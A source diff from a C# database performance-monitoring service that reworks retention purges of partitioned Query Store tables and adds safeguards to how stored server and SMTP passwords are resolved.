+    /// The plain DELETE on a table's DEFAULT partition (#5571): rows older than the cutoff. Normally 0 rows, because
+    /// create-ahead keeps DEFAULT empty. Named by table, never the parent, so it never touches a daily partition.
+    /// </summary>
+    internal static string DefaultPartitionDeleteSql(QueryStoreIntervalPartitions.IntervalTable table) =>
+        $"DELETE FROM {table.Default} WHERE first_execution_time < $1";
+
+    /// <summary>
+    /// The 24 h retention for one day-partitioned Query Store interval table (#5571), in three independent parts, each
+    /// failure-isolated so one never stops the next:
+    /// <list type="number">
+    /// <item><description><b>Drops.</b> <see cref="QueryStoreIntervalPartitions.DropExpiredAsync"/>, the same code the
+    /// hourly step runs: every whole expired day, and the legacy table only when promotion is DONE and its bound S is
+    /// at or below the cutoff. Before promotion the legacy table holds every row and is never dropped. A lock timeout
+    /// is retried by the next hourly pass, not an error.</description></item>
+    /// <item><description><b>The legacy table's row-capped purge (#5569).</b> It names <c>X_legacy</c>, never the
+    /// parent: a <c>ctid</c> repeats across partitions, so <c>ctid IN (SELECT ctid ...)</c> against the parent could
+    /// delete live rows of another day. Skipped, with no warning, when the legacy table no longer exists.</description></item>
+    /// <item><description><b>The DEFAULT partition</b>, a plain DELETE of rows older than the cutoff, skipped when
+    /// DEFAULT does not exist.</description></item>
+    /// </list>
+    /// The cutoff is <c>utcNow - HorizonDays</c>, the same value the drops use.
+    /// </summary>
+    internal static async Task<IntervalPartitionPurge> PurgeIntervalTableAsync(
+        NpgsqlDataSource postgres,
+        QueryStoreIntervalPartitions.IntervalTable table,
+        DateTime utcNow,
+        ILogger? logger,
+        RetentionWalPacer? pacer,
+        CancellationToken cancellationToken)
+    {
+        var purged = 0;
+        var rows = 0;
+        var failed = 0;
+        var cutoff = utcNow.AddDays(-table.HorizonDays);
+
+        try
+        {
+            await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+            await QueryStoreIntervalPartitions.DropExpiredAsync(
+                connection, table, utcNow, logger ?? NullLogger.Instance, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            failed++;
+            logger?.LogWarning(
+                "Retention could not drop expired partitions of {Table}: {Failure}", table.Parent, DescribePurgeFailure(ex));
+        }
+
+        /* After the drops: a legacy table that was just dropped has nothing left to row-delete. */
+        var legacyExists = await RelationExistsAsync(postgres, table.Legacy, logger, cancellationToken);
+        if (legacyExists is null)
+        {
+            failed++;
+        }
+        else if (legacyExists.Value)
+        {
+            var legacyDeleted = await PurgeOneAsync(
+                postgres, table.Legacy,
+                RowCappedDeleteSql(table.Legacy, "first_execution_time", IntervalDeleteRowCap),
+                cutoff, logger, cancellationToken,
+                batchSize: IntervalDeleteRowCap,
+                adaptiveRowCapTimeColumn: "first_execution_time",
+                pacer: pacer);
+            if (legacyDeleted is not null)
+            {
+                purged++;
+                rows += legacyDeleted.Value;
+            }
+            else if (await RelationExistsAsync(postgres, table.Legacy, logger, cancellationToken) != false)
+            {
+                /* A failed purge counts, unless the hourly step dropped the legacy table between the probe above and the
+                   purge (#5571 review L3): its DELETE then fails with 42P01, and there is nothing left to purge. */
+                failed++;
+            }
+        }
+
+        var defaultExists = await RelationExistsAsync(postgres, table.Default, logger, cancellationToken);
+        if (defaultExists is null)
+        {
+            failed++;
+        }
+        else if (defaultExists.Value)
+        {
+            var defaultDeleted = await PurgeOneAsync(
+                postgres, table.Default, DefaultPartitionDeleteSql(table), cutoff, logger, cancellationToken,
+                batchSize: SingleShotStatement,
+                pacer: pacer);
+            if (defaultDeleted is not null)
+            {
+                purged++;
+                rows += defaultDeleted.Value;
+            }
+            else
+            {
+                failed++;
+            }
+        }
+
+        return new IntervalPartitionPurge(purged, rows, failed);
+    }
+
+    /// <summary>Whether a schema-qualified relation exists: true or false, or null (warned) when the probe itself failed.</summary>
+    private static async Task<bool?> RelationExistsAsync(
+        NpgsqlDataSource postgres, string qualifiedName, ILogger? logger, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+            await using var command = new NpgsqlCommand("SELECT to_regclass($1) IS NOT NULL", connection) { CommandTimeout = 30 };
+            command.Parameters.AddWithValue(qualifiedName);
+            return (bool)(await command.ExecuteScalarAsync(cancellationToken))!;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogWarning("Retention could not probe for {Table}: {Failure}", qualifiedName, DescribePurgeFailure(ex));
+            return null;
+        }
+    }
+
     /// <summary>
     /// The plan dimension's purge statement: capped by ROW COUNT rather than by a time slice (#2386).
     ///
@@ -1193,6 +1455,55 @@ internal static string RowCappedDeleteSql(string table, string timeColumn, int c
       + $"SELECT ctid FROM {table} WHERE {timeColumn} < $1 "
       + $"ORDER BY {timeColumn} LIMIT {cap})";
 
+    /// <summary>
+    /// <see cref="RowCappedDeleteSql"/> with a forward-moving keyset cursor and <c>RETURNING</c> the time column
+    /// (#5569), the statement the adaptive drain runs. With <paramref name="hasCursor"/> the subquery adds
+    /// <c>AND {timeColumn} &gt;= $2</c> so the ordered index scan starts at the cursor instead of the bottom of
+    /// the index, where the entries of rows earlier batches deleted still sit until vacuum (batch k would
+    /// otherwise re-read the k-1 batches before it: O(n^2) over a large backlog). The first batch of a pass
+    /// has no cursor and starts at the bottom. <c>RETURNING</c> hands back the deleted rows' time values so the
+    /// caller can take their maximum as the next cursor.
+    /// </summary>
+    internal static string CursoredRowCappedDeleteSql(string table, string timeColumn, int cap, bool hasCursor) =>
+        $"DELETE FROM {table} WHERE ctid IN ("
+      + $"SELECT ctid FROM {table} WHERE {timeColumn} < $1 "
+      + (hasCursor ? $"AND {timeColumn} >= $2 " : string.Empty)
+      + $"ORDER BY {timeColumn} LIMIT {cap}) RETURNING {timeColumn}";
+
+    /// <summary>
+    /// Runs one <see cref="CursoredRowCappedDeleteSql"/> batch and returns the rows it deleted and the largest
+    /// time value among them (null when it deleted nothing), the next batch's cursor. The statement autocommits,
+    /// so a batch that completes is durable; one that times out rolls back whole.
+    /// </summary>
+    internal static async Task<(int Deleted, DateTime? MaxDeleted)> ExecuteCursoredBatchAsync(
+        NpgsqlConnection connection, string table, string timeColumn, int cap, DateTime cutoff, DateTime? cursor,
+        CancellationToken cancellationToken)
+    {
+        using var command = new NpgsqlCommand(
+            CursoredRowCappedDeleteSql(table, timeColumn, cap, cursor is not null), connection)
+        { CommandTimeout = DeleteTimeoutSeconds };
+        command.Parameters.AddWithValue(cutoff);
+        if (cursor is not null)
+        {
+            command.Parameters.AddWithValue(cursor.Value);
+        }
+
+        var count = 0;
+        DateTime? max = null;
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            count++;
+            var value = reader.GetDateTime(0);
+            if (max is null || value > max)
+            {
+                max = value;
+            }
+        }
+
+        return (count, max);
+    }
+
     /// <summary>
     /// A row-capped purge with NO <c>ORDER BY</c> (#4250 item 3) — the sibling of
     /// <see cref="RowCappedDeleteSql"/> for the two tables whose V149 migration dropped their
@@ -1485,11 +1796,11 @@ avoidable work on a path that already runs per table per day. */
     /// finishes in one batch.
     ///
     /// <para>Two shapes, chosen by <paramref name="adaptiveRowCapTimeColumn"/>. Null — every table but the
-    /// plan dimension — runs <paramref name="deleteSql"/> (a <see cref="TimeSlicedDeleteSql"/> or
+    /// plan dimension and the two Query Store interval tables (#5569) — runs <paramref name="deleteSql"/> (a <see cref="TimeSlicedDeleteSql"/> or
     /// single-shot statement) unchanged, with the connection and command — a single bound cutoff parameter
-    /// — reused across the whole drain. Set (the plan dimension, #4130) ignores <paramref name="deleteSql"/>
-    /// and rebuilds each batch from <see cref="RowCappedDeleteSql"/> at whatever cap
-    /// <see cref="NextPlanDimBatchCap"/> has chosen, with <see cref="RunPlanDimBatchAsync"/> retrying a
+    /// — reused across the whole drain. Set (the plan dimension, #4130, and the interval tables, #5569) ignores <paramref name="deleteSql"/>
+    /// and rebuilds each batch from <see cref="CursoredRowCappedDeleteSql"/> (the row-capped form with a
+    /// keyset cursor, #5569) at whatever cap <see cref="NextPlanDimBatchCap"/> has chosen, with <see cref="RunPlanDimBatchAsync"/> retrying a
     /// COMMAND-TIMEOUT batch at half its cap instead of failing the table outright — the field failure this
     /// exists for was one 50k-row batch passing the 300 s command timeout under first-start load, on a
     /// store whose steady-state margin was ~2x rather than the cap's designed 5x.</para>
@@ -1505,6 +1816,14 @@ avoidable work on a path that already runs per table per day. */
         string? adaptiveRowCapTimeColumn = null,
         RetentionWalPacer? pacer = null)
     {
+        /* #5592: a pass whose wall budget is already spent starts no further table: no connection, no statement.
+           Every table's purge comes through here, so this is the one place that skips them. Nothing was deleted,
+           and the run's summary takes the table back out of its purged count. */
+        if (pacer?.Yield is { } yieldGate && yieldGate.SkipTableOnBudget(tableName))
+        {
+            return 0;
+        }
+
         /* Accumulated OUTSIDE the try so the catch can report progress (#2386). Each statement
            autocommits, so a timeout on the fifth batch does not undo the first four — but the old
            catch returned null and threw the running total away, and the sweep's summary then said
@@ -1567,11 +1886,32 @@ reach the cap and the one execution is terminal. */
             }
             else
             {
-                /* batchSize doubles as the CEILING here — the call site passes PlanDimDeleteRowCap, same
-                   as always. Each run starts back at the ceiling (#4130): throughput is tonight's load,
-                   not a stored fact about the table, so nothing carries a shrunk cap into tomorrow. */
+                /* batchSize doubles as the CEILING here — the call site passes the table's row cap
+                   (PlanDimDeleteRowCap, or IntervalDeleteRowCap for the interval tables). Each run starts
+                   back at the ceiling (#4130): throughput is tonight's load, not a stored fact about the
+                   table, so nothing carries a shrunk cap into tomorrow. */
                 var cap = batchSize;
 
+                /* #5569: the statement that runs is schema-qualified, the same as the one each call site
+                   passes as deleteSql (which this path ignores), instead of leaning on the connection's
+                   search_path to find the table. A name that already carries a schema is left alone. */
+                var qualifiedTable = tableName.Contains('.', StringComparison.Ordinal)
+                    ? tableName
+                    : "collect." + tableName;
+
+                /* The keyset cursor (#5569, the coordinator's O(n^2) point): the largest time value the previous
+                   batch deleted. Without it every batch is "ORDER BY time LIMIT n" from the BOTTOM of the index,
+                   and the index entries of the rows earlier batches deleted stay until vacuum removes them (they
+                   cannot be marked dead while an older snapshot exists), so batch k re-reads the k-1 batches
+                   before it: quadratic over a backlog of millions. The first batch starts at the bottom (that is
+                   the one lower-bound lookup per pass); every later batch starts AT the cursor. A cursor equal
+                   to the last value is correct, not a stall: the bound is inclusive, so rows tied at that value
+                   that did not fit the previous cap are still taken, and a batch always deletes the rows it
+                   returns, so the cursor can only move forward. A row inserted below the cursor mid-pass is
+                   left for the next pass. A timed-out attempt rolls back and retries at half the cap from the
+                   SAME cursor, because the cursor only advances after an attempt succeeds. */
+                DateTime? cursor = null;
+
                 drained = await DrainBatchesAsync(
                     async ct =>
                     {
@@ -1580,17 +1920,20 @@ as always. Each run starts back at the ceiling (#4130): throughput is tonight's
                             async (attemptCap, attemptCt) =>
                             {
                                 batches++;
-                                using var attempt = new NpgsqlCommand(
-                                    RowCappedDeleteSql(tableName, adaptiveRowCapTimeColumn, attemptCap),
-                                    connection)
-                                { CommandTimeout = DeleteTimeoutSeconds };
-                                attempt.Parameters.AddWithValue(cutoff);
-                                var affected = await attempt.ExecuteNonQueryAsync(attemptCt);
+                                var (affected, maxDeleted) = await ExecuteCursoredBatchAsync(
+                                    connection, qualifiedTable, adaptiveRowCapTimeColumn, attemptCap, cutoff, cursor,
+                                    attemptCt);
                                 deleted += affected;
+                                if (maxDeleted is not null)
+                                {
+                                    cursor = maxDeleted;
+                                }
+
                                 return affected;
                             },
                             cap,
                             PlanDimDeleteRowFloor,
+                            tableName,
                             ct,
                             logger);
 
@@ -1604,6 +1947,10 @@ as always. Each run starts back at the ceiling (#4130): throughput is tonight's
                     cancellationToken);
             }
 
+            /* #5592: a drain that ended on the pass's wall budget (the loop exits at a batch boundary) is recorded
+               against this table; the rows it already deleted stay deleted, and the next pass continues from the rest. */
+            pacer?.Yield?.FinishTable(tableName, drained);
+
             /* A row-capped drain reports the two facts the sweep summary cannot carry, because both are
                per-table and the summary is fleet-wide.
 
@@ -1678,6 +2025,13 @@ internal static Task<int> DrainBatchesAsync(
     /// <paramref name="pacer"/> waits after EVERY batch, the last one of a table included, so the debt of a
     /// table's final batch is paid before the next table starts writing. A null pacer never waits. The wait
     /// comes after the executor returns, so the WAL the executor measured never includes it.
+    ///
+    /// <para>#5592: when the pacer carries a <see cref="RetentionCollectionYield"/>, every batch also waits for
+    /// collection before it runs and pauses for its own run time after it, and a pass whose wall budget is spent
+    /// stops here, at the batch boundary, returning what it deleted. This loop is the one place every paced batch
+    /// goes through (<c>PurgeOneAsync</c>'s time-sliced and row-capped branches both call it), so no call site
+    /// changes. The pause comes before the WAL wait on purpose: the WAL bucket refills by elapsed time, so the two
+    /// overlap instead of adding.</para>
     /// </summary>
     internal static async Task<int> DrainBatchesAsync(
         Func<CancellationToken, Task<(int Deleted, int Cap, long WalBytes)>> executeBatch,
@@ -1685,11 +2039,42 @@ internal static async Task<int> DrainBatchesAsync(
         CancellationToken cancellationToken)
     {
         var totalDeleted = 0;
+        var yield = pacer?.Yield;
         while (true)
         {
-            var (deleted, cap, walBytes) = await executeBatch(cancellationToken);
+            var batchStarted = 0.0;
+            if (yield is not null)
+            {
+                if (!await yield.BeforeBatchAsync(cancellationToken))
+                {
+                    yield.NoteBudgetStop();
+                    break;
+                }
+
+                batchStarted = yield.NowSeconds;
+            }
+
+            int deleted, cap;
+            long walBytes;
+            try
+            {
+                (deleted, cap, walBytes) = await executeBatch(cancellationToken);
+            }
+            catch (Exception) when (yield is not null && !cancellationToken.IsCancellationRequested)
+            {
+                /* #5595: a batch that throws (a timeout under heavy I/O) was the heaviest one of all. Give the pause
+                   its turn before the error reaches the caller, whose next table would otherwise start at once. */
+                await yield.AfterBatchAsync(batchStarted, cancellationToken);
+                throw;
+            }
+
             totalDeleted += deleted;
 
+            if (yield is not null)
+            {
+                await yield.AfterBatchAsync(batchStarted, cancellationToken);
+            }
+
             if (pacer is not null)
             {
                 await pacer.AfterBatchAsync(walBytes, cancellationToken);
@@ -1817,12 +2202,14 @@ private static string DescribePurgeFailure(Exception ex)
     }
 
     /// <summary>
-    /// One plan-dim purge batch (#4130): runs <paramref name="executeAttempt"/> at <paramref name="cap"/>,
+    /// One row-capped purge batch (#4130; the plan dimension, and since #5569 the two Query Store interval
+    /// tables): runs <paramref name="executeAttempt"/> at <paramref name="cap"/>,
     /// and on a COMMAND TIMEOUT specifically (<see cref="IsPlanDimBatchTimeout"/>) retries the SAME slice at
     /// half the cap, floored at <paramref name="floorCap"/>, instead of failing the whole table for the day
     /// the way every batch did before this fix. A batch that still times out AT the floor is not retried
     /// again — that failure propagates unchanged, and <see cref="PurgeOneAsync"/>'s catch fails the table
-    /// exactly as before.
+    /// exactly as before. <paramref name="tableName"/> is required: it labels the timeout warning, and a
+    /// default would mislabel any caller that forgot it.
     ///
     /// <para>Returns the cap and elapsed time of the SUCCESSFUL attempt, not the batch's total wall time —
     /// a timed-out first attempt's ~300 s is dead time at a cap that just proved too large, and folding it
@@ -1833,6 +2220,7 @@ private static string DescribePurgeFailure(Exception ex)
         Func<int, CancellationToken, Task<int>> executeAttempt,
         int cap,
         int floorCap,
+        string tableName,
         CancellationToken cancellationToken,
         ILogger? logger = null)
     {
@@ -1848,8 +2236,8 @@ private static string DescribePurgeFailure(Exception ex)
             {
                 var retryCap = Math.Max(floorCap, cap / 2);
                 logger?.LogWarning(
-                    "Plan-dim purge batch at cap {Cap} hit the command timeout after {Elapsed:F0}s ({Failure}); retrying at {RetryCap}",
-                    cap, stopwatch.Elapsed.TotalSeconds, DescribePurgeFailure(ex), retryCap);
+                    "Purge batch of {Table} at cap {Cap} hit the command timeout after {Elapsed:F0}s ({Failure}); retrying at {RetryCap}",
+                    tableName, cap, stopwatch.Elapsed.TotalSeconds, DescribePurgeFailure(ex), retryCap);
                 cap = retryCap;
             }
         }
@@ -1862,9 +2250,14 @@ private static string DescribePurgeFailure(Exception ex)
 /// (<paramref name="RowsDeleted"/>) and dropped Timescale chunks (<paramref name="ChunksDropped"/> —
 /// drop_chunks doesn't report per-row counts). <see cref="TotalPurged"/> is the single headline number the
 /// daily log and the on-demand <c>purge_now</c> log line report.
+/// <paramref name="TablesLeftOnBudget"/> (#5592) is how many tables still have rows because the pass stopped on its wall
+/// budget (never started, or stopped part-way); zero for a pass that drained every table, failed, or had no budget.
 /// </summary>
-public readonly record struct PurgeSummary(int TablesPurged, int RowsDeleted, int ChunksDropped)
+public readonly record struct PurgeSummary(int TablesPurged, int RowsDeleted, int ChunksDropped, int TablesLeftOnBudget = 0)
 {
+    /// <summary>True when the pass stopped on its wall budget with tables left (#5592).</summary>
+    public bool StoppedOnBudget => TablesLeftOnBudget > 0;
+
     /// <summary>Rows deleted plus whole chunks dropped — the coarse "how much did this purge remove" count.</summary>
     public int TotalPurged => RowsDeleted + ChunksDropped;
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingSecretSource.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingSecretSource.cs
index 0f77dcd7dd..8c7dfe5467 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingSecretSource.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingSecretSource.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.IO;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service;
 
@@ -37,6 +38,20 @@ public static bool IsReference(string? value)
            && (value.StartsWith(EnvPrefix, StringComparison.Ordinal)
                || value.StartsWith(FilePrefix, StringComparison.Ordinal));
 
+    /// <summary>The sentence every request path answers with when a password field holds a reference. It names no
+    /// value: the text the caller typed is never repeated.</summary>
+    internal const string RequestReferenceRefusalText = ServerConnectionRule.ReferenceRefusedText;
+
+    /// <summary>
+    /// The one question a request path asks of a password it was handed (web add, web edit, MCP add_servers, MCP
+    /// edit_server, the test_connect command): null when the text is a password to use as typed, otherwise
+    /// <see cref="RequestReferenceRefusalText"/>. It is <see cref="IsReference"/> and nothing else, so what is refused is
+    /// exactly what <see cref="Resolve"/> would have dereferenced: same prefixes, same case rule, same start-of-text
+    /// rule, no more and no less. A password that only contains <c>env:</c> after its first character is a password.
+    /// </summary>
+    internal static string? RequestReferenceRefusal(string? value)
+        => IsReference(value) ? RequestReferenceRefusalText : null;
+
     /// <summary>
     /// Resolves a secret slot's value: a reference is dereferenced (a missing/empty target is a
     /// configuration error naming BOTH the setting and the target, never a silent empty secret); a
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs
index 0f2a2825d4..cf6ec08e64 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs
@@ -10,6 +10,7 @@
 using System.Runtime.Versioning;
 using System.Security.Cryptography;
 using System.Text;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service;
 
@@ -21,11 +22,11 @@ namespace PerformanceMonitor.Darling.Service;
 /// scoped — right for an interactive app, wrong for a service.) The blob is machine-bound:
 /// moving darling.json to another machine requires re-encrypting.
 /// </summary>
-[SupportedOSPlatform("windows")]
 public static class DarlingSecrets
 {
     private static readonly byte[] s_entropy = Encoding.UTF8.GetBytes("PerformanceMonitor.Darling.v1");
 
+    [SupportedOSPlatform("windows")]
     public static string Protect(string plaintext)
     {
         if (plaintext is null)
@@ -85,6 +86,7 @@ internal static string DescribeStoreCredentialDecryptFailure(string credentialFi
         "data directory) is encrypted with LocalMachine scope, so only the machine that wrote it can read it. If " +
         "the store was copied here from another machine, run this command on the machine that created it.";
 
+    [SupportedOSPlatform("windows")]
     public static string Unprotect(string base64Blob)
     {
         if (string.IsNullOrWhiteSpace(base64Blob))
@@ -98,12 +100,75 @@ public static string Unprotect(string base64Blob)
     }
 
     /// <summary>
-    /// Resolves a monitored server's SQL-auth password: DPAPI blob preferred, then the <c>password</c>
-    /// slot — which since #1804 may be an <c>env:</c>/<c>file:</c> REFERENCE
-    /// (<see cref="DarlingSecretSource"/>) rather than a literal. <paramref name="usedPlaintext"/> is true
-    /// only for a LITERAL (a reference is not plaintext-in-config, so callers do not warn on it).
+    /// True when this machine's data protection opens <paramref name="base64Blob"/>; throws what
+    /// <see cref="Unprotect"/> throws for a value that is not a blob or that this machine cannot open. It answers the
+    /// question and nothing more: the opened bytes are cleared before it returns and no string is built from them, so
+    /// a caller that only needs to know whether a value opens (the legacy pin step, #5456) never holds the password.
     /// </summary>
-    public static string ResolvePassword(MonitoredServer server, out bool usedPlaintext)
+    [SupportedOSPlatform("windows")]
+    internal static bool CanUnprotect(string base64Blob)
+    {
+        if (string.IsNullOrWhiteSpace(base64Blob))
+        {
+            throw new ArgumentException("Encrypted password blob is empty.", nameof(base64Blob));
+        }
+
+        byte[]? plainBytes = null;
+        try
+        {
+            plainBytes = ProtectedData.Unprotect(
+                Convert.FromBase64String(base64Blob), s_entropy, DataProtectionScope.LocalMachine);
+            return true;
+        }
+        finally
+        {
+            if (plainBytes is not null)
+            {
+                CryptographicOperations.ZeroMemory(plainBytes);
+            }
+        }
+    }
+
+    /// <summary>
+    /// Dereferences an <c>env:</c>/<c>file:</c> reference held in a server's stored secret slot (#5240), after asking
+    /// whether it names one of this service's own configuration files or secrets
+    /// (<see cref="DarlingOwnedSecrets.ReferenceRefusal(string?)"/>), the question the app asks before it saves a
+    /// reference. Asking it again here, where the reference is read, makes the rule hold for a slot however it was
+    /// written, not only for a reference that came through the app.
+    ///
+    /// <para>A refused reference fails the way an unresolvable one does: an <see cref="InvalidOperationException"/>
+    /// that names the setting, so the worker's connect path logs it, backs off and retries that one server, and
+    /// nothing else stops. The text is the refusal's own sentence, which names no path and no variable, and the
+    /// referenced value is never read.</para>
+    /// </summary>
+    private static string ResolveStoredReference(string reference, string settingName, bool declaredByFile)
+    {
+        /* One exception to the refusal: darling.json itself declares this same reference, in this same slot, for this same
+           server id (MonitoredServer.EncryptedPasswordDeclaredByFile). The mark is set where the server is built, from the
+           file, and never from a stored value, so a reference that is only in the store is still asked about. */
+        if (!declaredByFile && DarlingOwnedSecrets.ReferenceRefusal(reference) is { } refusal)
+        {
+            throw new InvalidOperationException($"{settingName}: {refusal}");
+        }
+
+        return DarlingSecretSource.Resolve(reference, settingName);
+    }
+
+    /// <summary>
+    /// Resolves a monitored server's SQL-auth password from the <c>encryptedPassword</c> slot: an <c>env:</c>/<c>file:</c>
+    /// reference first, then a sealed value (any <c>sealed:</c> version), then a legacy DPAPI value, then the
+    /// <c>password</c> slot, which since #1804 may be a reference rather than a literal.
+    /// <paramref name="usedPlaintext"/> is true only for a LITERAL (a reference is not plaintext-in-config, so callers
+    /// do not warn on it). A reference held in the stored slot that names one of this service's own secrets is refused
+    /// before it resolves (<see cref="ResolveStoredReference"/>). A sealed value opens only through the key ring and only
+    /// for the connection it was saved for; a DPAPI value opens only on Windows, and only when darling.json declares it
+    /// or a pin taken at upgrade still matches the row (#5366). Every refusal throws before any credential is sent.
+    /// </summary>
+    public static string ResolvePassword(MonitoredServer server, out bool usedPlaintext, IPasswordKeyRing? ring = null) =>
+        ResolvePassword(server, out usedPlaintext, ring ?? DarlingPasswordKey.Current, LegacyDpapi.Current);
+
+    internal static string ResolvePassword(
+        MonitoredServer server, out bool usedPlaintext, IPasswordKeyRing ring, LegacyDpapi dpapi)
     {
         if (server is null)
         {
@@ -115,27 +180,21 @@ public static string ResolvePassword(MonitoredServer server, out bool usedPlaint
             usedPlaintext = false;
 
             /* #2087: add_servers stores env:/file: REFERENCES verbatim in this slot on Linux (a pointer is
-               not a secret; DPAPI cannot exist there). A reference can never be confused with a DPAPI blob:
-               blobs are base64 and contain no ':' prefix match. */
+               not a secret). A reference can never be confused with a DPAPI blob or a sealed value: blobs are
+               base64 and a sealed value starts with "sealed:". */
             if (DarlingSecretSource.IsReference(server.EncryptedPassword))
             {
-                return DarlingSecretSource.Resolve(server.EncryptedPassword, $"servers['{server.DisplayName}'].encryptedPassword");
+                return ResolveStoredReference(
+                    server.EncryptedPassword, $"servers['{server.DisplayName}'].encryptedPassword", server.EncryptedPasswordDeclaredByFile);
             }
 
             /* #2255: the raw CryptographicException ("Key not valid for use in specified state") reached the
                worker's connect-retry warning verbatim and repeated every 60s with no way to act on it. Server
                identity is only known HERE, so this is where it gets attached. */
-            try
-            {
-                return Unprotect(server.EncryptedPassword);
-            }
-            catch (CryptographicException ex)
-            {
-                throw new InvalidOperationException(
-                    DescribeDecryptFailure($"the stored password for server '{server.DisplayName}' " +
-                                           "(servers[].encryptedPassword)"),
-                    ex);
-            }
+            return OpenSaved(
+                server.EncryptedPassword, $"The saved password for server '{server.DisplayName}'", () => server.SecretBinding,
+                server.EncryptedPasswordDeclaredByFile, server.SecretPin, ring, dpapi,
+                $"the stored password for server '{server.DisplayName}' (servers[].encryptedPassword)");
         }
 
         if (!string.IsNullOrWhiteSpace(server.Password))
@@ -150,12 +209,12 @@ public static string ResolvePassword(MonitoredServer server, out bool usedPlaint
 
     /// <summary>
     /// Resolves a server's REMEDIATION credential password (#2138 phase 1) — the second, opt-in identity a
-    /// write to a monitored server travels on. Same two shapes <see cref="ResolvePassword"/> accepts, minus
-    /// the plaintext one.
+    /// write to a monitored server travels on. Same shapes <see cref="ResolvePassword(MonitoredServer, out bool, IPasswordKeyRing?)"/>
+    /// accepts for its stored slot, minus the plaintext one.
     ///
     /// <para>Returns <b>null</b> for an unarmed server rather than throwing, and that asymmetry with
-    /// <see cref="ResolvePassword"/> is the point. A missing monitoring password is a misconfiguration — the
-    /// operator declared sql auth and left the secret out — so it throws. A missing remediation password is
+    /// <see cref="ResolvePassword(MonitoredServer, out bool, IPasswordKeyRing?)"/> is the point. A missing monitoring password is a
+    /// misconfiguration — the operator declared sql auth and left the secret out — so it throws. A missing remediation password is
     /// the SHIPPED STATE of every server: nothing has gone wrong, this server simply has no phase-1
     /// surface. Making it throw would turn the normal case into an exception, and an exception in the normal
     /// case is a thing callers learn to swallow.</para>
@@ -163,14 +222,15 @@ public static string ResolvePassword(MonitoredServer server, out bool usedPlaint
     /// <para>There is no plaintext arm. <see cref="MonitoredServer.Password"/>'s dev-convenience slot has no
     /// remediation counterpart: a wrong monitoring password fails a read, and a wrong remediation password
     /// fails a write against a production server, so the convenience is not worth the same money. An
-    /// <c>env:</c>/<c>file:</c> reference is still accepted — a pointer is not a secret, and it is the only
-    /// way to arm an install with no DPAPI (the #2087 reasoning).</para>
+    /// <c>env:</c>/<c>file:</c> reference is still accepted — a pointer is not a secret. One that names this
+    /// service's own configuration files or secrets is refused before it resolves.</para>
     ///
-    /// <para>A DPAPI failure DOES throw, through the same <see cref="DescribeDecryptFailure"/> text the
-    /// other monitored-server surfaces use: an armed server whose blob will not decrypt is a real fault, and it is
-    /// exactly the one a viewer-on-a-different-PC produces.</para>
+    /// <para>A sealed or DPAPI refusal DOES throw: an armed server whose value will not open is a real fault.</para>
     /// </summary>
-    public static string? ResolveRemediationPassword(MonitoredServer server)
+    public static string? ResolveRemediationPassword(MonitoredServer server, IPasswordKeyRing? ring = null) =>
+        ResolveRemediationPassword(server, ring ?? DarlingPasswordKey.Current, LegacyDpapi.Current);
+
+    internal static string? ResolveRemediationPassword(MonitoredServer server, IPasswordKeyRing ring, LegacyDpapi dpapi)
     {
         if (server is null)
         {
@@ -189,20 +249,159 @@ then discover it is unusable. */
 
         if (DarlingSecretSource.IsReference(blob))
         {
-            return DarlingSecretSource.Resolve(
-                blob, $"servers['{server.DisplayName}'].remediationEncryptedPassword");
+            return ResolveStoredReference(
+                blob, $"servers['{server.DisplayName}'].remediationEncryptedPassword", server.RemediationEncryptedPasswordDeclaredByFile);
+        }
+
+        return OpenSaved(
+            blob, $"The saved remediation password for server '{server.DisplayName}'", () => server.RemediationBinding,
+            server.RemediationEncryptedPasswordDeclaredByFile, server.RemediationPin, ring, dpapi,
+            $"the stored REMEDIATION password for server '{server.DisplayName}' (servers[].remediationEncryptedPassword)");
+    }
+
+    /// <summary>
+    /// Resolves the SMTP password held in <c>smtp.encryptedPassword</c> by the same dispatch as a server's: a reference,
+    /// then a sealed value, then DPAPI on Windows when declared or pinned (#5366).
+    /// </summary>
+    public static string ResolveSmtpPassword(SmtpConfig smtp, IPasswordKeyRing? ring = null) =>
+        ResolveSmtpPassword(smtp, ring ?? DarlingPasswordKey.Current, LegacyDpapi.Current);
+
+    internal static string ResolveSmtpPassword(SmtpConfig smtp, IPasswordKeyRing ring, LegacyDpapi dpapi)
+    {
+        if (smtp is null)
+        {
+            throw new ArgumentNullException(nameof(smtp));
+        }
+
+        var stored = smtp.EncryptedPassword!;
+        if (DarlingSecretSource.IsReference(stored))
+        {
+            return ResolveStoredReference(stored, "smtp.encryptedPassword", smtp.EncryptedPasswordDeclaredByFile);
+        }
+
+        return OpenSaved(
+            stored, "The saved SMTP password", () => smtp.SecretBinding, smtp.EncryptedPasswordDeclaredByFile, smtp.SecretPin,
+            ring, dpapi, "the stored SMTP password (smtp.encryptedPassword)");
+    }
+
+    /// <summary>
+    /// Whether a secret slot read from darling.json holds something the file declares: a reference or an old-format value, not
+    /// blank and not a sealed value (a sealed value opens through the key ring, whoever wrote it).
+    /// </summary>
+    internal static bool DeclaresSecretText(string? stored) =>
+        !string.IsNullOrWhiteSpace(stored) && !PasswordSeal.IsSealed(stored);
+
+    /// <summary>True for stored text that is neither blank, a reference, nor a sealed value: the old DPAPI format.</summary>
+    internal static bool IsLegacyDpapi(string? stored) =>
+        !string.IsNullOrWhiteSpace(stored) && !DarlingSecretSource.IsReference(stored) && !PasswordSeal.IsSealed(stored);
+
+    /// <summary>
